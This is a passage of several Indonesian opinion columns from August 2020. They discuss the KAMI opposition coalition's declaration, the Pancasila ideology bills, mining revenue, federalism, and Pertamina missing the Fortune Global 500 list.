Para pendiri negara ini juga punya asumsi itu. Itulah alasan dibalik pendirian lembaga-lembaga pengawas seperti court dan non court. Pengadilan dan DPR. Kenyatan itu membawa Thomas Jefferson mengandalkan pers sebagai pilar pengawasan non instuitusional terhadap pemerintahan. Itu menjadi penjelasan otoritatif. Pers muncul menjadi pilar pengawasan di alam demokrasi. Ini kepingan kecil munculnya pers sebagai pilar keempat demokrasi. Memutar kembali kiblat bernegara ke Pancasila dan UUD 1945 terlihat menjadi hasrat terbesar KAMI. Itu logis dan realistis. DPR, DPD dan MPR dibayangkan menjadi motor gerak putar itu. Ini terasa imperative. Mungkinkah? Sangat mungkin. Caranya terlalu mudah. Bikin saja UU menurut panduan Pancasila dan UUD secara hakiki. Mungkinkah DPR dan DPD membelakangi dunia global? DPR hanya perlu tahu dunia global tidak pernah keluar dari arus utama politik ekonomi tunggang-menunggang, machiavelis. DPR hanya perlu tahu konsep kerjasama, kemitraan, partnership bilateral maupun multilateral. Tidak pernah keluar arus oligarki global. Tidak. Itu kecerdasan mereka. Mengangkangi pasar sumberdaya alam dan ekonomi negara yang berpartner, adalah tujuan terbesar dibalik semua konsep itu. Di atas semua itu, sistem pemerintahan presidensial menyodorkan presiden sebagai figur utama memegang dan memikul tangung jawab penyelenggaraan pemerintahan. Suka atau tidak, itulah sistem presidensial ini. Terlepas dari siapapun presidennya. Tanggung jawab tunggal itu melekat pada personal presiden. Bukan pada wakil presiden. Ini menjadi sebab kajian tata negara untuk sistem presidensial menempatkan presiden, siapapun orangnya, pada episentrum setiap masalah pemerintahan. Itu pula sebabnya pemerintahan presidensial selalu diidentikan secara simbolis dengan nama presiden. Apakah keluhuran budi dan nurani republik yang terdapat dalam Pancasila dan Pembukaan UUD 1945, menuntun dan memandu Pak Presiden dalam merespon KAMI? Hanya Presiden dan Allah Subhanahu Wata’ala yang tahu. Menarik ditengah kemunculan KAMI, Ibu Sri Mulyani, menteri keuangan, dengan kalimatnya yang sangat halus menyajikan beberapa masalah dalam pemerintahan ini. Rendahnya serapan anggaran pemulihan corona dan ekonomi nasional, disebabkan antara lain sebagian menteri belum terlatih menyelenggarakan birokrasi. Kenyataan itu jatuh tepat di atas kenyataan lain yang krusial. Kenyataan lain itu adalah adanya kebijakan yang berubah-ubah (Lihat CNNIndonesia, 19/8/2020). Bagi Ibu Menteri, ini tantangan. Apapun itu, sulit untuk tidak menilai kenyataan itu menggambarkan dengan tepat level kapasitas dan kompetensi pemerintahan ini. Jelas ini masalah. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

KAMI Datang, Mengapa Pada Blingsatan?

by Tony Rosyid Jakarta FNN – Rabu (19/08). Hari selasa, tanggal 18 Agustus 2020, "Koalisi Aksi Menyelamatkan Indonesia" (KAMI) deklarasi. Pilihan tempatnya adalah Tugu Proklamasi. Tak kurang dari 150 tokoh menjadi deklarator. Diantaranya adalah Din Syamsudin, Gatot Nurmantyo, Rachmat Wahab, Rocky Gerung, Refly Harun, Gus Aam, dan lain-lain. Deklarasi dihadiri ribuan massa, baik dari Jakarta maupun luar Jakarta. Muncul pertanyaan mendasar, ada masalah apa dengan Indonesia sehingga harus diselamatkan? Ekonomi minus 5,32 persen. Hutang tembus Rp 6.376 riliun. Indonesia rangking ke-4 negara paling timpang di dunia setelah Rusia, India dan Thailand. Apakah ini bukan masalah? Satu persen orang kaya Indonesia menguasai 50 persen aset negara.Sepuluh persennya kuasai 70 persen kekayaan negara. Sebanyak 60 persen kekayaan mereka peroleh melalui akal-akalan dengan akses kekuasaan. Jelas ini masalah. Harus diselamatkan bangsa ini. Riset bank dunia, pertumbuhan ekonomi hanya dinikmati oleh 20 persen orang terkaya di Indonesia. Kalau masih kurang kaya lagi, terbitkan UU Minerba dan RUU Omnibus Law. Gile bener! Belum soal hukum. Acak kadut dan amburadul. Harun Masiku kemana nasibnya? Djoko Tjandra, buronan Rp 904 miliar disambut seperti sang raja. Legalitas lengkap dan dikawal aparat. Halo E-KTP dan skandal asuransi Jiwasraya? Lama tak ada beritanya. Ruang gerak KPK lumpuh setelah direvisi undang-undang KPK. Novel Baswedan jadi tumbal. Hukum tegak ke lawan, lumpuh ke kawan. Tajam ke rakyat, tak berdaya melawan oligaki, korporasi dan konglomerat. Kurang puas juga? Institusi-institusi hukum pun dikudeta. Di bidang politik, negeri ini bising dan gaduh. Yang disalahkan Islam garis keras. Khilafah dibawa-bawa. Mereka tak bisa membedakan mana Islam garis keras, mana Islam garis tegas. Keras dan tegas, tentu punya terminologi yang berbeda. Yang tegas dituduh keras agar bisa masuk katagori anti Pancasila. Para buzzer rupiah dikerahkan untuk menviralkan Islam keras dan tegas sebagai anti Pancasila, anti NKRI, anti Bhineka Tunggal Ika dan anti pluralisme. Klasik dan nggak kreatif! Kalau begini cara berpolitiknya, sampai kiamat Indonesia nggak akan berhenti dalam kecemasan. Apalagi kalau bicara Pemilu. Sarat intervensi dan intimidasi. Biasa terjadi manipulasi. Pemilu telah jadi ladang para pemodal untuk bermain judi. Mereka klaim itu investasi. Suara rakyat jadi komoditi. Pemilu telah berubah fungsi jadi pasar transaksi. Di bidang ini, hukum lumpuh dan sama sekali tak punya gigi. Belum lagi kalau lihat nasib kampus. Mereka kehilangan hak berdemokrasi. Rektor ditunjuk oleh menteri. Akibatnya, dosen dan mahasiswa berada dalam kendali. Kalau sampai berani macam-macam kepada penguasa? Bisa masuk daftar DO anda! Pers, terutama media mainstream pun menggigil. Tak bebas tayangkan berita. Banyak pemilik media tersandera macam-macam kasus. Ruang jurnalistik makin sempit. Sesempit telinga elit. Beda pendapat dianggap hianat. Setiap kritik akan dilaknat. Ini hanya sekelumit permasalahan bangsa hari ini. Soal intimidasi ini, para deklarator KAMI ikut mencicipi. Masing-masing dijapri. Kirim gambar bahwa KAMI dianggap makar. Makar gundulmu! Meeting Zoom diganggu, WA diretas, akun dihack. Spanduk penolakan dibentang di berbagai sudut jalan bertulis penolakan. Sekitar 50 orang dikirim untuk orasi. Coba-coba menandingi dan ganggu deklarasi. Demokrasi macam apa ini? Jangan cengeng bung! Nggak perlu takut! KAMI lahir sebagai gerakan moral politik. Bukan makar! Bukan juga politik praktis. Kalau setiap kritik dianggap makar, bangsa ini bisa kelar! Bisa juga bangsa ini jadi bangsa makar kepada kekasaan. Deklarasi KAMI untuk menyuarakan kembali pertama, cita-cita bangsa. Spirituality, humanity, nasionality, kerakyatan dan keadilan yang tertuang dalam lima sila Pancasila harus jadi dasar dalam mengelola negara. Prinsip Ketuhanan jangan diutak-atik dengan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Sekarang jadi RUU Badan Pembinaan Ideologi Pancasila (BPIP). Persatuan jangan diporak-porandakan dengan gemar membuat tuduhan. Kerakyatan artinya suara rakyat harus didengar dan jadi pijakan penguasa dalam melaksanakan pembangunan. Keadilan sosial mesti jadi orientasi setiap aturan dan kebijakan. Makarnya dimana bung? Kedua, menyuarakan harapan dan keinginan rakyat yang sudah lama terabaikan oleh suguhan tiatrikal politik di panggung eksekutif, legislatif dan yudikatif. Ketiga, mengingatkan pemangku kekuasaan bahwa bangsa ini sedang berjalan ke arah yang salah. Terjadi deviasi, distorsi dan disorientasi. KAMI hadir untuk mengingatkan dan meluruskan. Pakai data dan analisis fakta. KAMI deklarasi dan sampaikan delapan maklumat ini, agar kalian dengar. Kenapa kalian gusar? Kenapa nggak bicara substansi? Baca dan pelajari isi maklumat, lalu diskusikan. Delapan maklumat KAMI dihiraukan. Tuntannya tak dibicarakan. Malah tudah sana-sini. Lah, anda ini pejabat atau preman? Kalau macam ini elit kita merespon setiap protes dan perbedaan, pantas saja Indonesia terus dilanda kegaduhan. Mereka perlu ambil kursus demokrasi, agar lebih matang dan siap berdiskusi. Tidak melihat perbedaan dalam mengelola negara sebagai bentuk permusuhan. KAMI anggotanya terdiri dari anak-anak bangsa. Apapun latarbelakang etnis, agama, profesi dan politiknya, mereka datang dengan niat baik. Juga menawarkan konsep keselamatan bangsa. Kenapa anda pada blingsatan? Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Sinergi KAMI Dan MUI

by M Rizal Fadillah Jakarta FNN – Rabu (19/08). Antara Koalisi Aksi Menyelamatkan Indonesia (KAMI) dan Majelis Ulama Indonesia (MUI) tentu berbeda. KAMI adalah koalisi dari berbagai elemen bangsa, termasuk yang berbeda keyakinan agama. Sedangkan MUI merepresentasi umat Islam saja. Ulama yang tugasnya menjaga keamanan dan kemurnian agama. KAMI memprihatinkan segala hal yang mengancam kehidupan berbangsa dan bernegara, baik ekonomi, budaya, maupun politik. Meski berbeda pada fokus perhatian dan kompetensi, tetapi terhadap permasalahan aktual yang dihadapi pada beberapa hal terdapat persamaan. Satu contoh adalah keberadaan Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP). Apalagi RUU HIP yang berhubungan dengan ideologi negara, yang berspektrum luas, baik politik maupun hukum, termasuk keagamaan. RUU HIP yang kemudian berganti menjadi RUU Badan Pembinaan Ideologi Pancasila (BPIP) mendapat sorotan serius dari MUI. RUU HIP ini dinilai bukan saja merongrong ideologi Pancasila, yang telah disepakati bersama. Tetapi juga dapat meminggirkan aspek keagamaan. Melalui RUU HIP, komunisme memiliki pintu untuk menerkam agama dan ideologi negara. Dua hal yang mendapat sorotan MUI dalam Maklumatnya, yaitu pencabutan RUU berbau komunis ini. Selain itu, pengusutan inisiator atau konseptor RUU. MUI mencurigai konseptor RUU adalah oknum yang ingin membangkitkan PKI dan komunisme. Meminta yang berwajib untuk mengusutnya. Alih-alih DPR mencabut RUU HIP. Justru faktanya yang muncul adalah diajukannya RUU BPIP dari Pemerintah. Karenanya bagi MUI, masalah RUU HIP dan juga RUU BPIP masih menjadi "piutang" yang menjadi tuntutan. Ancaman adalah adanya "masirah kubro" dan "penunjukan panglima" tetap menjadi agenda utama dari MUI. Sementara itu, KAMI dalam Maklumat yang dibuat sebagai "bacaan" Deklarasinya, menyinggung kedua RUU tersebut sebagai langkah yang "jelas-jelas tidak hanya bertentangan dengan Pancasila. Tetapi mau mengganti Pancasila dengan Trisila dan Ekasila, serta agama yang berkebudaan, telah membuka jalan lebar untuk bangkitnya komunisme". Menjadi tuntutan yang butirnya dibacakan berulang-ulang oleh Rocky Gerung untuk "telinga kiri" dan "telinga kanan", yakni butir 7 yang berbunyi ,"Menuntut Pemerintah untuk mengusut secara sungguh-sungguh dan tuntas terhadap pihak yang berupaya melalui jalur konstitusi mengubah Dasar Negara Pancasila sebagai upaya nyata untuk meruntuhkan NKRI hasil Proklamasi 17 Agustus 1945, agar tidak terulang upaya sejenis di masa yang akan datang". Kini menjadi jelas bahwa ada kepentingan dan "concern" yang sama antara KAMI dan MUI, berupa tuntutan kepada Pemerintah untuk mengusut tuntas pihak yang melalui RUU HIP. Juga RUU BPIP berupaya mengubah Pancasila 18 Agustus 1945. KAMI menyebut bahwa Deklarasi adalah langkah awal dari gerakan moral politik. MUI menyiapkan langkah aksi dari gerakan keagamaan. Ada sinergitas antara keduanya dalam menyelamatkan ideologi negara Pancasila yang dinilai terancam oleh upaya penggerogotan dan pengubahan oleh para Gerombolan Trisila dan Ekasila. Artinya, baik KAMI maupun MUI melihat negara tengah dihadapkan pada persoalan mendasar, yakni penggoyahan Dasar Negara Psancasila. Umat Islam dan bangsa Indonesia menghadapi persoalan yang sangat serius. Gerakan komunisme ternyata bukan isapan jempol. Penulis adalah Pemerhati Politik dan Kebangsaan.

Refleksi 75 Tahun Merdeka, Penguasaan SDA Masih Mimpi

by Anthony Budiawan Jakarta FNN – Selasa (18/08). Kita sering mendengar ungkapan, Indonesia negara kaya. Kaya dengan sumber daya alam. Semua orang pasti setuju. Indonesia ada minyak dan gas bumi, batubara, nikel, emas, dan banyak mineral lainnya. Indonesia juga merupakan (salah satu) negara produsen terbesar minyak sawit dan karet. Indonesia juga mempunyai hutan tanaman industri yang luas. Menjadikan Indonesia sebagai salah satu produsen kertas terbesar dunia. Belum lagi potensi perikanannya. Ironinya, Indonesia hanya sebagai negara berpendapatan menengah. Dengan pendapatan per kapita tahun 2019 sekitar U$ 4.000 dolar per tahun. Jauh lebih rendah dari negara tetangga seperti Malaysia, Thailand atau Singapore. Artinya, kebanyakan dari mereka lebih kaya dari rakyat Indonesia. Padahal Malaysia dan Thailand hanya mempunyai sedikit kekayaan alam. Bahkan Singapore tidak ada kekayaan alam sama-sekali. Yang lebih mengenaskan, sebagian besar penduduk Indonesia masuk kategori miskin. Menurut Bank Dunia, Indonesia mempunyai 150 juta (sekitar 56%) penduduk miskin pada tahun 2018. Mereka mempunyai pendapatan di bawah U$ 5,5 dolar (PPP 2011) per orang per hari, yaitu batas garis kemiskinan untuk negara berpendapatan menengah atas seperti Indonesia. Ironi Yang Mengenaskan Indonesia memang diberkahi kekayaan alam yang melimpah. Antara lain, mineral dan batubara (minerba). Tetapi, pendapatan negara dari sektor minerba sangat tidak signifikan. Sangat rendah dibandingkan total pendapatan negara. Sangat rendah untuk dapat membuat rakyat menjadi sejahtera. Apalagi sampai kaya. Padahal sektor minerba merupakan salah satu sektor yang cukup besar yang dipunyai Indonesia. Sebut saja antara lain, sektor bijih besi, nikel, aluminium, perak, perunggu, emas, batubara, bauksit dan banyak lagi mineral lainnya. Rasio pendapatan minerba terhadap total pendapatan negara hanya sekitar 1 persen hingga 1,5 persen saja. Bahkan rasio pendapatan minerba pada 2015 hanya 0,98 persen atau hanya Rp 14,7 triliun dari Rp 1.508 triliun. Sangat sangat dan sangat rendah. Meskipun rasio pendapatan negara dari minerba pada 2018 meningkat menjadi 1,58 persen, dengan pendapatan minerba Rp 30,7 triuliun dari total pendapatan negara Rp 1,943,7 triliun, secara substansi masih sangat rendah. Di lain pihak, korporasi pengelola (baca: penguasa) sektor minerba sangat berjaya. Mereka kaya raya. Korporasi-korporasi tersebut berhasil meraup triliunan rupiah dari masyarakat, melalui pasar modal. Nilai perusahaan (kapitalisasi pasar) korporasi penguasa tambang minerba pada akhir 2018 mencapai Rp 363,8 triliun. Terdiri dari 25 perusahaan tambang batubara dan 10 tambang mineral. Jumlah ini tidak termasuk penguasa tambang minerba raksasa lainnya yang tidak go public di bursa saham Indonesia. Tetapi mereka go public di bursa saham luar negeri. Dari jumlah tersebut, hanya ada tiga BUMN dengan nilai kapitalisasi pasar Rp 73,5 triliun. Namun, sebagian kepemilikan tiga BUMN tersebut juga sudah dikuasai publik. Sedangkan korporasi pertambangan minerba yang kaya raya tersebut, diberi hak pengelolaan pertambangan, melalui kerjasama pengusahaan pertambangan, izin usaha pertambangan atau izin usaha pertambangan khusus. Pada prakteknya, kerjasama dan izin usaha pertambangan tersebut sangat bebas (liberal) di dalam pengelolaannya. Sehingga terjadi pengalihan (sementara) penguasaan (baca: kepemilikan) kekayaan sumber daya alam minerba dari negara ke pengelola (yang sebagian besar swasta nasional dan asing). Pengalihan kepemilikan kekayaan minerba ke korporasi pemegang hak pengelolaan terlihat jelas ketika mereka menawarkan sahamnya ke publik (go public) atau ketika melakukan divestasi kepemilikan usahanya sesuai Undang-undang. Nilai divestasi atau valuasi perusahaan dihitung berdasarkan nilai ekonomis minerba yang terkandung di dalam wilayah usaha pertambangan tersebut. Seperti yang terjadi pada kasus divestasi PT Freeport Indonesia. Tragisnya, pada kasus divestasi PT Freeport Indonesia, pemerintah negeri ini harus mengambil alih dengan nilai komersial. Termasuk pulka nilai kandungan mineral yang terkandung di dalam tanah, yang seharusnya menjadi milik negara. Tragis memang. Peringtah Pasal 33 ayat (3) UUD 1945, “Bumi dan air dan kekayaan alam yang terkandung di dalamnya dikuasai oleh negara, dan dipergunakan untuk sebesar-besar kemakmuran rakyat”, nampaknya masih sebatas mimpi. Penulis adalah Managing Director Political Economy and Policy Studies (PEPS)

75 Tahun Yang Gagal, Saatnya Untuk Moratorium NKRI

by Ikhsan Tualeka Jakarta FNN – Selasa (18/08). Arah dan perjalanan Negara Kesatuan Republik Indonesia (NKRI) setelah 75 tahun, rupanya menunjukan tanda-tanda yang kurang memuaskan. Bahkan malah mengkhawatirkan. Sejumlah realitas memperlihatkan ada kekecewaan yang mendalam dari anak bangsa. Keadilan distributif yang jauh dari harapan. Sistem politik yang diskriminatif. Hingga oligarki yang mencengkeram kuat dari pusat kekuasaan sampai ke daerah. Semua ini adalah pangkal utama, dan sulit terbantahkan. Bisa dikonfirmasi dengan banyak data. Termasuk yang dikeluarkan oleh otoritas negara seperti dari Badan Pusat Statistik (BPS) dan Badan Perencanaan Pembangunan Nasional (Bappenas). Implikasinya jelas. Kekecewaan politik atau political disconten terus menguat dan mengental. Hampir semua terbentuk atau terjadi karena rasa persentuhan warga negara dengan negara, yang faktanya tidak sama. Keadilan distributif sangat tergantung pada dimana warga negara itu lahir dan dibesarkan. Jika terlahir sebagai anak Aru atau besar di Maluku Barat Daya, Seram Timur atau di banyak tempat di Papua dan Indonesia timur lainnya, tentu akan merasakan negara tak hadir dalam berbagai urusan publik. Padahal sejatinya adalah tanggungjawab negara. Itu setidaknya dapat dilihat dengan jelas dalam urusan pendidikan dan kesehatan. Jumlah anak-anak yang putus sekolah atau sekolah dengan fasilitas ala kadarnya dan memprihatinkan, sangat mencolok di Indonesia Timur. Ratusan anak-anak yang meninggal saat persalinan setiap tahunnya di Maluku, mengkonfirmasi realitas yang tidak menguntungkan itu. Pemerintah pusat dan daerah punya andil besar, tapi jangan-jangan kita ada dalam sistem bernegara yang tidak relevan. Membuat sebagian masyarakat Indonesia, khususnya di Maluku Raya, Nusa Tengara Raya dan Papua Raya susah keluar dari kondisi yang nyaris sama dengan saat masih berada di masa kolonial Belanda. Jangan-jangan pada masa itu jauh lebih baik dari sekarang. Negara kerap menyampaikan memiliki berbagai keterbatasan, tapi sulit untuk dimaklumi bila kebutuhan dasar warga negara saja masih jauh dari harapan untuk terpenuhi. Sentralisasi pengelolaan negara yang coba diatasi dengan otonomi daerah rupanya tidak menjawab persoalan. Adanya lima daerah otonomi khusus, yaitu DKI Jakarta, DI Yogyakarta, Aceh, Papua dan Papua Barat, justru memperlihatkan bahwa negara ini sudah sejak awal tidak relevan menggunakan sistem negara kesatuan. Diajukannya RUU provinsi atau daerah kepulauan oleh delapan provinsi, menunjukan kalau ada banyak daerah yang juga ingin diperlakukan secara khusus. Sebab memiliki karakter wilayah yang berbeda. Karena mengatur daerah kelautan sama dengan daerah lain berbasis daratan, justru hanya memupuk dan membiarkan ketidakadilan terus berlangsung. Wajah NKRI semakin mengarah pada federalisme yang malu-malu. Ada dalam praktik, tapi tak didukung oleh legitimasi konstitusi. Sehingga bila ada yang terkait dengan beban negara, maka logika otonomi yang dikembangkan. Sedangkan bila menyangkut keuntungan dari pengelolaan sumber daya alam, maka paradigma negara kesatuan yang ditonjolkan. Kondisi ini tentu tak dapat dibiarkan. Kita tidak bisa terus berada dalam penerapan Negera Kesatuan bercita rasa federal semacam ini. Membiarkan situasi terus seperti ini, sejatinya sedang memasrahkan Indonesia diambang kehancuran dan perpecahan. Kekecewaan politik yang ibarat bisul tersebut, akan pecah pada waktunya. NKRI perlu segara “dimoratorium”. Kemudian mencari serta menerapkan format baru bernegara yang lebih relevan. Bila menginginkan Indonesia tatap ada dalam peta negara-negara dunia. Memaksakan diri untuk menjadi kesatuan, hanya menunda kematian alias sedang menuju jalan yang salah. Meminjam pendapat Raymond Gettel, Negara Kesatuan itu dapat terjadi bila terdiri dari pulau atau satu daratan. Wilayahnya relatif tidak luas. Relatif tidak banyak penduduknya. Juga relatif tidak majemuk masyarakatnya. Untuk semua syarat itu, hampir berseberangan dengan realitas NKRI. Tak salah kemudian bila ide federalisme telah muncul jauh sebelumnya. Dulu Bung Hatta yang menginisiasinya. Tentu dengan alasan dan padangan yang lebih maju. Meski akhirnya harus kalah dengan pilihan menjadi Negara Kasatuan, yang dalam perjalanan sejarah terbukti anomali. Melihat kondisi yang ada, ide negara federal perlu dihidupkan kembali. Tak boleh dimatikan begitu saja hanya dengan menunjuk ‘kegagalan’ era Republik Indonesia Serikat (RIS). Ide negara federasi bukanlah sesuatu yang ahistoris dalam peta pertarungan pemikiran politik di Indonesia. Ide yang pernah diusung oleh sejumlah founding fathers Indonesia. Terutama dengan munculnya perdebatan federalisme vs unitarisme adalah fakta sejarah yang tentu perlu dikembangkan kembali. Karena itu, menggali lagi pemikiran tentang negara federasi di Indonesia bukanlah sesuatu yang salah. Bisa saja jadi alternatif untuk menyelamatkan Indonesia yang besar ini. Rasanya setalah 75 tahun ini, perlu ada terobosan. Dengan cara melakukan “moratorium” NKRI. Langkah berikutnya, bisa jadi dengan menerapkan Negara Federal sacara kaffah. Untuk menyelamatkan tujuan berbangsa dan bernegara, yaitu keadilan sosial bagi seluruh rakyat Indonesia. Pilihan yang lebih dapat untuk memastikan keberlanjutan Indonesia, ketimbang terus bertahan dalam status kesatuan. Namun menjalankan juga model federasi secara malu-malu kucing. Dengan demikian, NKRI mestinya menjadi Harga Hidup, agar bisa terus didiskusikan guna menemukan formula yang tepat dalam pengelolaan negara-bangsa. Penulis adalah Direktur IndoEast Network.

Tidak Perlu Resah Terhadap KAMI

by Asyari Usman Jakarta FNN - Selasa (19/08). Ada yang gelisah. Dan kelihatan sangat gelisah. Mungkin mereka punya firasat akan muncul kekuatan besar. Yang merasa gelisah itu, barangkali takut digoyang. Takut jatuh. Sebaiknya, jauhkanlah semua itu. Koalisi Aksi Menyelamatkan Indonesia (KAMI) hanya ingin menyadarkan rakyat tentang situasi bangsa dan negara yang sedang amburadul. Hanya itu. Hanya ingin menyadarkan rakyat bahwa kehidupan akan sangat berat. Dalam waktu dekat ini. KAMI bukan dimaksudkan untuk menggoyang pemerintah. Sekali lagi, rakyat perlu diingatkan. Agar mereka siap mental dan siap fisik. Sebab, krisis yang segera membentang di depan bukan sekadar hilang pekerjaan. Bukan sekadar kebangkrutan bisnis. Tetapi jauh lebih seram dari itu. Krisis yang sedang ‘unfolding’ (menghampar) di depan kita diprediksi akan menjadi sesuatu yang ‘unprecedented’ alias ‘belum pernah terjadi’. Dan bisa ‘unpredictable’ (liar) juga. Krisis itu pasti multi-dimensional. Sebab, kebangkrutan bisnis akan merambah ke semua kategori: besar-kecil-menengah, semua akan mengalami pukulan berat. Dan berlangsung meluas dalam waktu bersamaan. Setelah kebangkrutan massal, tentu akan ada krisis moneter. Krisis ‘cash-flow’. Krisis duit. Kalangan bisnis akan pontang-panting mencari sumber pendanaan. Nah, dari mana mau dicarikan uang untuk menahan agar kebangkrutan massal itu tidak berdampak fatal dan masif? Untuk saat ini, dengan kondisi global seperti sekarang, tidak mudah mencari dana segar. Di tengah kebangkrutan dahsyat itu, pastilah muncul krisis-krisis lain. Akan muncul masalah keamanan dan ketertiban. Tak bisa tidak. Tindak kejahatan yang terkait dengan kesulitan hidup hampir pasti akan muncul di mana-mana. Akan menjadi fenomena umum. Dalam situasi normal saja, tanpa gangguan ekonomi, angka kejahatan yang bermotifkan materi kehidupan berada di tingkat yang memprihatinkan. Apalagi seperti yang sedang kita alami ini. Itu yang membuat para tokoh bangsa berkumpul hari ini (18/8/2020) di Tugu Proklamasi, Jakarta. Mereka mendeklarasikan tekad untuk menjaga agar jalannya pemerintahan tidak keliru. Menjaga supaya negara tidak dikelola secara ugal-ugalan. Sebab, lumrah sekali dimunculkan alasan krisis untuk melakukan langkah yang sewenang-wenang. KAMI bukan organisasi pemberontak. KAMI dengan tegas menyatakan diri sebagai ‘moral force’. Hanya gerekan moral. Apakah tidak boleh ada gerakan yang berusaha mengawal hak-hak rakyat? Yang mengawasi sepak-terjang para penguasa agar mereka tidak sesuka hati? Seharusnya tidak perlu ada reaksi yang berlebihan terhadap kemunculan KAMI. Tidak perlu ada intimidasi. Mereka itu adalah para tokoh yang kebetulan memiliki keprihatinan terhadap situasi umum di negara ini. Dan kebetulan pula belum ada terlihat orang-orang lain yang merasa tergugah untuk menyelamatkan Indonesia dari berbagai ancaman. Ada ancaman ideologis, ada ancaman imperialis, dan ada ancaman terhadap eksistensi NKRI. KAMI melihat potensi besar ancaman-ancaman itu. Jika itu yang mendasari kebersamaan para tokoh bangsa di dalam gerakan moral ini, mengapa mereka harus diposisikan sebagai musuh? Mereka semua memahami konstitusi. Dari pemahaman itulah mereka melangkah. Mereka tahu apa yang mereka lakukan dan untuk siapa. Alangkah naifnya kalau mereka dijadikan musuh yang harus ditumpas. Lihat saja sambutan publik terhadap kehadiran KAMI. Memang gerakan ini pastilah akan membesar terus. Karena mereka tidak bermaksud mencari keuntungan pribadi melalui gerakan ini. KAMI menyatakan dengan tegas bahwa gerakan moral mereka itu akan diimplementasikan dengan cara yang persuasif. Mereka akan menginisiasi dialog dengan siapa pun. Dan siap melayani ajakan dialog dari mana pun juga asalkan itu dimaksudkan untuk kemaslahatan bangsa dan negara. Kemunculan KAMI tidak dipicu oleh kebencian.Tekad para tokohnya hanya untuk menyelamatkan Indonesia. Tidak benar bunyi salah satu plakat yang dipajang di aksi tandingan di sekitar Tugu Proklamasi, pagi tadi. Orang-orang yang mengaku sebagai komponen milenial menulis: “Jangan Tulari Rakyat Dengan Virus Kebencian Pada Pemerintah”. Agak aneh aksi orang-orang yang mengaku kelompok milenial itu. Aksi yang rapi dan tampak mahal dan terawat. KAMI tak punya waktu untuk hal-hal yang disangkakan itu. KAMI tidak perlu menghasut agar rakyat membenci pemerintah. Sebab, rakyat Indonesia mampu melihat sendiri berbagai kejanggalan dan kesewenangan yang terjadi. Penulis adalah Wartawan Senior FNN.co

Pertamina Tak Masuk Peringkat 500 Majalah FORTUNE?

by Salamuddin Daeng Jakarta FNN – Selasa (18/08). Tidak mengapa Pertamina meninggalkan perinkat ke 500 di Majalah FORUNE. Pertamina tidak masuk dalam kelompok perusahaan kelas dunia yang dikelola bedasarkan pada standar profesionalisme. Apakah ini karena Pemerintah belum bayar utang sebesat Rp.140 triliun kepada Pertamina ? Banyak yang bertanya-tanya. Mengapa Pertamina kali ini tidak lagi masuk dalam peringkat perusahaan kalaas global 500 menurut versi Majalah FORTUNE? Seharusnya perusahaan masuk peringkat di atas 200 perusahaan global versi FORTUNE. Namun nama Pertamina tak ada kelompok perusahaan terkemuka di dunia tersebut. Publik tentu saja bertanya apa sebenarnya yang terjadi? Padahal Pertamina adalah salah satu perusahaan minyak dengan kinerja positif sepanjang masa pandemi Covid 19. Ratusan perusahaan minyak global ambruk, melakukan PHK ratusan, bahkan ribuan buruh mereka. PHK ini disebabkan penurunan harga minyak global. Dalam kondisi penuruanan harga minyak dunia, Pertamina masih mempertahankan tingkat keuntungan yang baik. Misalnya Pertamina masih mengandalkan pasar domestik. Pertamina serta sama sekali tidak melakukan PHK terhadap karyawannya. Tahun 2019 lalu Pertamina sebagai BUMN penyedia energi nasional berada di peringkat 175, lompat dari 78 peringkat dibandingkan tahun sebelumnya yang berada di peringkat 253. Tahun ini menurut banyak kalangan, memang sedikit menurun dan seharusnya berada di posisi peringkat 198. Bukan malah tersingkir dari peringkat 500 dunia. Pertamina terpaksa harus menelan pil pahit. Karena nama perusahaan minya dan gas (migas) terbesar di Indonesia ini tidak tercatat dalam peringkat 500 perusahaan terkemuka dunia. Lalu, apa yang menyebabkan Pertamina tidak masuk dalam peringkat 500 perusahaan terkemuka dunia? Tentu saja hanya Majalah FORTUNE yang paling tau. Walapun demikian, dugaan sementara adalah dikarenakan pendapatan dan keuntungan Pertamina tidak masuk dalam kas perusahaan. Keuntungan dan pendapatan Pertamina masih menjadi piutang kepada pemerintah. Atau dengan kata lainpemerintah belum membayar utang kepada Pertamina. Padahal pendapatan dan keuntungan adalah dua kriteria utama sebuah perusahaan bisa masuk perinkat 500 versi Majalah FORTUNE. Mari kita lihat apa sesungguhnya kriteria global Majalah FORTUNE companies ini. Perusahaan kelas dunia 500 versi Majalah Fortune adalah sebuah penilaian dari Majalah FORTUNE yang membuat peringkat perusahaan global terkemuka dari berbagai penilaian. Misalnya, dari sisi pendapatan (revenue). Juga keuntungan, neraca keuangan (aset dan deviden yang dibagikan). Selain itu, juga dinilai banyaknya karyawan, penghasilan per lembar saham. Begitu juga dengan pengembalian kepada investor, dan kredit perusahaan. Kriteria asal negara juga menjadi salah satu pertimbangan yang dinilai oleh Majalah FORTUNE. Namun ukuran laba atau keuntungan menjadi ukuran yang tampaknya paling penting. Karena dari keuntungan itulah, akan banyak menentukan posisi keuangan perusahaan dalam banyak aspek lainnya. Sementara masalah keuntungan ini selalu menjadi bagian paling krusial bagi Pertamina. Mengapa demikian? Selama ini keuntungan Pertamina sebagian besar harus digunakan untuk menalangi sementara BBM bersubsidi, BBM satu harga. Konon susbidi itu akan diganti oleh pemerintah melalui mekanisme APBN. Kalau kondisi APBN normal, maka tidak ada masalah. Namun di saat kondisi APBN tidak normal seperti sekarang ini, maka pergantian subsidi BBM, pergantian kompensasi BBM satu harga, hanya akan berbentuk janji-janji manis dari pemerintah. Belum jelas kapan pemerintah akan membayarnya. Akibat tidak masuknya keuntungan atas pendapatan ke dalam kas Pertamina, karena masih menjadi piutang di pemerintah, maka berakibat pada melemahnya ukuran penilaian lain dalam perusahaan. Misalnya arus kas, dan equity yang diperlukan bagi belanja barang maupun belanja proyek perusahaan. Tentu kemampuan perusahaan dalam membayar utang kepada investor global, posisi kredit perusahaan, dan lain sebagainya ikut terganggu. Banyak sekali konsekuensi yang harus diterima perusahaan akibat keuntungan tertahan sebagai piutang kepada pemerintah. Jadi sebetulnya urusan tidak masuk peringkat 500 versi Majalah FORTUNE akan dapat kembali disandang Pertamina jika seluruh piutang kepada pemerintah sampai dengan tahun 2019 sebesar Rp. 140 triliunan dibayar pemerintah pada tahun 2020 ini. Dengan demikian, neraca Pertamina akan langsung pulih. Keuntungan menjadi sangat besar. Kemampuan belanja perusahaan, baik belanja barang maupun proyek sangat besar, maka posisi utang 